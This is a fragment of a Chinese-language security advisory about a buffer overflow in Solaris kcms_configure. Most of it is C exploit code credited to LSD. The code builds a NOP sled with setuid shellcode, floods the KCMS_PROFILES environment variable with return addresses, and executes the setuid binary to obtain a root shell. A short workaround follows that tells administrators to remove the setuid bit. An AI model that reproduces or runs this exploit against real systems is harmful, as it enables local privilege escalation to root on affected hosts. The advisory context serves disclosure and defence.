|
Solaris kcms_configure 缓冲区溢出漏洞(8) char buffer[20000],*b,adr[4],*envp[4],display[128]; int i; printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n"); printf("kcsSUNWIOsolf.so for solaris 2.7 2.8 (2.6 ?) x86\n\n"); if(argc!=2){ printf("usage: %s xserver:display\n",argv[0]); exit(-1); } *((unsigned int*)adr)=((*(unsigned int(*)())jump)())+2300+8000; sprintf(display,"DISPLAY=%s",argv[1]); envp[0]=&buffer[0]; envp[1]=&buffer[17000]; envp[2]=display; envp[3]=0; b=buffer; sprintf(b,"xxx="); b+=4; for(i=0;i<NOPNUM;i++) *b++=0x90; for(i=0;i<strlen(setuidshellcode);i++) *b++=setuidshellcode[i]; *b=0; b=&buffer[17000]; sprintf(b,"KCMS_PROFILES="); b+=14; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; execle("/usr/openwin/bin/kcms_configure","lsd","-o","lsd",0,envp); } 建议: 临时解决方法: 建议您在Sun提供官方补丁之前 chmod a-s /usr/openwin/bin/kcms_configure 厂商补丁:暂无
|